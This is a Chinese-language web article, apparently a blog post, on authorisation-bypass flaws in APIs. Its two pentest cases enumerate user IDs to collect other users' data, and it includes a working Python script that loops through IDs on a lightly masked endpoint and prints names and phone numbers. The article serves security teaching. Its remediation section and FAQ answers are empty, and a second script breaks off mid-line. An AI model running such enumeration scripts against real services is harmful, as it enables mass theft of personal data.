程序通過調(diào)用API接口獲取數(shù)據(jù)信息,如果對參數(shù)校驗不嚴(yán)格,則可能導(dǎo)致越權(quán)獲取別的賬戶信息。

案例分析

案例1:APP滲透測試中的越權(quán)訪問

在一次APP滲透測試中,測試人員發(fā)現(xiàn),通過修改user_id參數(shù),可以獲取其他用戶的賬戶信息。以下是詳細(xì)步驟:

查看數(shù)據(jù)包,其中有個參數(shù)為user_id,服務(wù)器根據(jù)user_id值回顯對應(yīng)的賬號信息。

數(shù)據(jù)包參數(shù)

測試人員嘗試修改user_id值為5,發(fā)現(xiàn)對應(yīng)的賬號信息隨即變動,說明此處對參數(shù)的校驗不嚴(yán)格。通過對user_id值進(jìn)行遍歷,就能夠獲取所有的賬號信息。

修改后的數(shù)據(jù)

編寫get_api腳本,遍歷user_id值,獲取賬戶手機(jī)號信息。

腳本結(jié)果

獲取手機(jī)號如下:

獲取手機(jī)號

案例2:POST請求中的參數(shù)遍歷

在另一個案例中,通過對POST請求中參數(shù)的遍歷,可以獲取用戶的詳細(xì)信息。以下代碼展示了如何利用此漏洞:

import requests
import json
from requests.packages import urllib3
urllib3.disable_warnings()

url = "https://.xxxx.com/api/app/user/getUser"
headers = {
    'App': 'ddup',
    'Os': 'Android',
    'Version': '1.1.7',
    'Versioncode': '14',
    'Content-Type': 'application/json; charset=utf-8',
    'Content-Length': '89',
    'Accept-Encoding': 'gzip, deflate',
    'User-Agent': 'okhttp/3.14.9'
}
for id in range(1,500):
    data = {
        "md5":"BBE806AA7B91B1D92DE9FA2AC9EF9DEA",
        "token":"",
        "tokenId":"",
        "version":14,
        "id":id
    }
    try:
        res = requests.post(url=url, headers=headers, json=data, verify=False).text
        data1 = json.loads(res)
        username = data1['response']['userName']
        realname = data1['response']['realName']
        phone = data1['response']['phone']
        sign = data1['response']['userSign']
        print("用戶名:", username, "  真實姓名:", realname, "  手機(jī)號:", phone, "  sign:", sign)
        print("————————————————————————————————————————————————————————————————")
    except:
        pass

代碼執(zhí)行結(jié)果

漏洞危害

這種漏洞的危害在于,可以批量獲取個人手機(jī)號信息,甚至批量修改賬號密碼,給用戶的隱私和安全帶來巨大的威脅。

漏洞修復(fù)建議

API接口的遍歷

在API接口的遍歷過程中,可能會遇到不同的參數(shù)組合。例如,路徑規(guī)劃接口可能會出現(xiàn)Fromx,y;Tox,y兩種參數(shù),需要對所有城市進(jìn)行遍歷。所有城市的坐標(biāo)經(jīng)緯度可以通過爬蟲從高德地圖上爬下來。

#encoding:utf-8
#遍歷所有城市路徑規(guī)劃的測試腳本

from xlutils.copy import copy
import urlparse, copy,urllib,xlrd,xlwt,urllib2
from lxml import etree
from hashlib import md5

def url_values_xy(url,fromX,fromY,toX,toY,sign):
    ret = []
    u = urlparse.urlparse(url)
    qs = u.query
    pure_url = url.replace('?'+qs, '')
    qs_dict = dict(urlparse.parse_qsl(qs))
    tmp_dict = copy.deepcopy(qs_dict)
    tmp_dict['fromX'] = fromX
    tmp_dict['fromY'] = fromY
    tmp_dict['toX'] = toX
    tmp_dict['toY'] = toY
    tmp_dict['sign'] = sign
    tmp_qs = urllib.unquote(ur

FAQ

  1. 問:如何有效防止API接口的越權(quán)訪問?

  2. 問:API接口遍歷的主要風(fēng)險是什么?

  3. 問:開發(fā)者如何識別API接口中的漏洞?

  4. 問:越權(quán)訪問漏洞如何對用戶產(chǎn)生影響?

  5. 問:API接口設(shè)計中有哪些最佳實踐?

通過對API接口的遍歷和漏洞分析,我們可以更好地理解其潛在的安全風(fēng)險,從而在設(shè)計和使用中采取更加謹(jǐn)慎的措施,確保用戶數(shù)據(jù)的安全。

上一篇:

使用ChatGPT的API:全面指南與集成技巧

下一篇:

Django顯示高德地理坐標(biāo)指南:快速集成與展示
#你可能也喜歡這些API文章!

我們有何不同?

API服務(wù)商零注冊

多API并行試用

數(shù)據(jù)驅(qū)動選型,提升決策效率

查看全部API→
??

熱門場景實測,選對API

#AI文本生成大模型API

對比大模型API的內(nèi)容創(chuàng)意新穎性、情感共鳴力、商業(yè)轉(zhuǎn)化潛力

25個渠道
一鍵對比試用API 限時免費(fèi)

#AI深度推理大模型API

對比大模型API的邏輯推理準(zhǔn)確性、分析深度、可視化建議合理性

10個渠道
一鍵對比試用API 限時免費(fèi)